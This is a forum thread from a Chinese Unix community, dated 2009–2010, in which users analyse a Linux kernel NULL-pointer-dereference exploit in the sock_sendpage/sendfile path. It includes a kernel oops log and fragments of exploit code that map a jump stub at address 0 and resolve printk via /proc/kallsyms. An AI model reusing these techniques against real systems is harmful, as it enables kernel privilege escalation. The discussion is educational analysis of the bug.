原帖由 emmoblin 于 2009-8-19 00:01 发表
我有有点不解,想请教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
没做检测就直接调用了。这时会跳到进程的虚拟地址0的位置执行。
但是我不理解的是:之前他做了一个mmap,这时 ...
“mmap这里我觉得很神奇,相当于让内核执行了用户进程空间的代码”
原帖由 CUDev 于 2009-8-19 20:24 发表
kernel_code()函数的地址是用户空间的,举例来说,在我的机器上的地址为0x8048afd,小于0xc0000000。在内核态,jmp到一个小于3G的地址上。这个怎么解释?
是不是这个样子,用户态到内核态切换的时候,current还 ...
If addr is NULL, then the kernel chooses the address at which to create the mapping; this is the most portable method of creat‐\r
ing a new mapping. If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the map‐\r
ping will be created at a nearby page boundary. The address of the new mapping is returned as the result of the call.
原帖由 CUDev 于 2009-8-19 21:14 发表
感觉exit_kernel()那个函数没有多少用处,可以直接声明为int kernel_code(),返回-1。kernel_code自动跳回到用户空间,然后直接调用execl()就好了。
另外,kernel_code()中可以调用标准库里面的函数吗?
ht ...
原帖由 CUDev 于 2009-8-19 23:52 发表
此言差矣。如果是fopen呢?在Kernel里调fopen(),fopen()底层又调用read()系统调用,又回到了Kernel。
就出现了“先有鸡还是先有蛋”的问题
/*
** By calling iret after pushing a register into kernel stack,
** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
**
** kernel_code() function will return to its previous status which means before sendfile() system call,
** after operating upon a ring0(kernel mode) privilege level.
** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
*/
与用户空间的应用程序不同,内核是不能链接使用标准C函数库(其他的那些库也不行)。造成这种情况的原因有很多,其中就包括先有鸡还是先有蛋的这个悖论。不过最主要的原因在于速度和大小。对于内核来讲,完整的C库太大了------即便是从中抽取出一个合适的子集------大小和效率都不能被接收。
Aug 28 14:50:19 RD kernel: CSLIP: code copyright 1989 Regents of the University of California
Aug 28 14:50:19 RD kernel: PPP generic driver version 2.4.2
Aug 28 14:50:19 RD kernel: NET: Registered protocol family 24
Aug 28 14:50:19 RD kernel: Unable to handle kernel paging request at virtual address 0000a206
Aug 28 14:50:19 RD kernel: printing eip:
Aug 28 14:50:19 RD kernel: 08048803
Aug 28 14:50:19 RD kernel: *pde = 36847001
Aug 28 14:50:19 RD kernel: Oops: 0000 [#1]
Aug 28 14:50:19 RD kernel: SMP
Aug 28 14:50:19 RD kernel: Modules linked in: pppoe pppox ppp_generic slhc parport_pc lp parport autofs4 i2c_dev i2c_core sunrpc cpufreq_powersave ib_srp ib_sdp ib_ipoib rdma_ucm rdma_cm iw_cm ib_addr ib_umad ib_ucm ib_uverbs ib_cm ib_sa ib_mad ib_core dm_mirror dm_multipath dm_mod button battery ac md5 ipv6 joydev ehci_hcd uhci_hcd i5000_edac edac_mc hw_random bnx2 ext3 jbd ata_piix libata cciss sd_mod scsi_mod
Aug 28 14:50:19 RD kernel: CPU: 0
Aug 28 14:50:19 RD kernel: EIP: 0060:[<08048803>] Not tainted VLI
Aug 28 14:50:19 RD kernel: EFLAGS: 00010293 (2.6.9-78.ELsmp)
Aug 28 14:50:19 RD kernel: EIP is at 0x8048803
Aug 28 14:50:19 RD kernel: eax: 0000a206 ebx: f8d084a0 ecx: 00000000 edx: c17e3f60
Aug 28 14:50:19 RD kernel: esi: d495ec80 edi: e9665f50 ebp: e9665e88 esp: e9665e74
Aug 28 14:50:19 RD kernel: ds: 007b es: 007b ss: 0068
Aug 28 14:50:19 RD kernel: Process exploit (pid: 4292, threadinfo=e9665000 task=d576c1f0)
Aug 28 14:50:19 RD kernel: Stack: 0000a206 0000a206 0000a206 00000000 f8d084a0 00001000 c028378a 00001000
Aug 28 14:50:19 RD kernel: 00000000 c035d420 00001000 c01420cb 00001000 f57fc0e4 00000000 c035d420
Aug 28 14:50:20 RD kernel: 00000000 c17e3f60 00000000 00000000 c0141a97 00001000 fffcfc50 00001000
Aug 28 14:50:20 RD kernel: Call Trace:
Aug 28 14:50:20 RD kernel: [<c028378a>] sock_sendpage+0x37/0x3c
Aug 28 14:50:20 RD kernel: [<c01420cb>] file_send_actor+0x30/0x49
Aug 28 14:50:20 RD kernel: [<c0141a97>] do_generic_mapping_read+0x1b2/0x445
Aug 28 14:50:20 RD kernel: [<c0174b9e>] notify_change+0x25e/0x268
Aug 28 14:50:20 RD kernel: [<c0142128>] generic_file_sendfile+0x44/0x57
Aug 28 14:50:20 RD kernel: [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel: [<c015d034>] do_sendfile+0x24a/0x290
Aug 28 14:50:20 RD kernel: [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel: [<c015d122>] sys_sendfile+0xa8/0xb4
Aug 28 14:50:20 RD kernel: [<c02e09db>] syscall_call+0x7/0xb
Aug 28 14:50:20 RD kernel: Code: Bad EIP value.
Aug 28 14:50:20 RD kernel: <0>Fatal exception: panic in 5 seconds
Aug 28 16:29:14 RD syslogd 1.4.1: restart.
Aug 28 16:29:14 RD syslog: syslogd startup succeeded
原帖由 kouu 于 2009-11-15 01:26 发表
突然想到一个问题,mmap映射0地址能够映射成功吗?
在我的Ubuntu 9.04,Linux 2.6.28-12-generic上,mmap映射0地址是不能成功的。
至于exploit的代码在我的机器上能够成功执行,是因为exploit是由run.c编译 ...
呵呵,我还是觉得在kernel_code()函数中调用C库的函数是可以的~
本来打算验证一下的,上次做了一下实验,ubuntu直接就整个挂起了(屏幕定格、无任何响应),也不知道是什么问题。 感觉在PC上做这种事情实在太恶心…… 以前都是在嵌入式开发版上搞的,随便折腾。可惜现在没这个环境了……
也希望哪位朋友有兴趣的话验证一下,给个结论~ 呵呵
原帖由 W.Z.T 于 2010-1-15 10:56 发表
当内核进行一个空指针引用的时候, 会引发一次缺页异常中断, do_page_fault函数会进行处理, 打印oops信息,然后杀死当前进程。 exploit程序在攻击之前已经通过匿名映射在内存0地址出映射好了exploit代码, ...
我的理解是0地址上的代码是由用户自己通过mmap映射的, 当用户进程去触发这个kernel bug的时候,是通过系统调用进入内核空间,内核通过进程上下文current代表进程继续执行, 当eip执行到了一个0x0地址时,它开始执行用户空间映射过来的代码, 由于有进程上下文,又是在内核态, 所以可以修改当前进程的任何信息包括内核其他代码。 不知道这样理解对不对?
我觉得内核是不能调用c库的, 你可以自己实现一个类似printk的函数放在kernel code中, 这样应该不会出错,或者通过/proc/kallsyms先找到printk的地址, 然后再kernel中引用, 不知道这样可不可行, 我没试过,兄弟可以验证下啊:)
我记得有一些兄弟在开启selinux的情况下, 就能溢出成功, 关闭的情况下就不能溢出成功。 好像早期版本的selinux代码允许映射0的地址, 这样sys_mmap2即使不允许映射0地址, 但selinux确让它允许映射, 具体代码没有仔细看过。
原帖由 Godbach 于 2010-1-15 13:48 发表
试验了一把,通过/proc/kallsyms获取到printk的地址,然后就可以在kernel_code中调用了。打印的信息输出到日志里了
int (*printk)(const char *fmt, ...);
原帖由 Godbach 于 2010-1-15 15:12 发表
应该多些W.Z.T兄的指点才对。
我用的是另外一个例程,exploit.c中添加
然后获得printk的地址
printk = (int (*)(const char *fmt, ...))get_kernel_sym("printk");
然后就可以调用printk了。
(这个 - 6是什么意思,大家指点一下)
在地址0x0处埋下代码kernel_code 函数,因为0x90 = nop, 0xe9 = jmp
上面代码可表示为在映射的地址0处,执行
E9 cw JMP rel16 A N.S. Valid
Jump near, relative,displacement relative to next instruction. Not supported in 64-bit mode.
E9 cd JMP rel32 A Valid Valid
Jump near, relative, RIP =RIP + 32-bit displacement sign extended to 64-bits
原帖由 Godbach 于 2010-1-20 10:31 发表
查了一下手册。这里E9对应的jmp是相对跳转。也就是jmp 后面跟的操作数,应该是应跳转到的地址和当前下一条指令地址之间的差值。
当前jmp下一条指令的地址应该是6, 所以jmp后面的操作数应该是&kernel_code ...
mem[0] = '\xff';
mem[1] = '\x25';
*(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
*(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;
欢迎光临 Chinaunix (http://bbs.chinaunix.net/) | Powered by Discuz! X3.2 |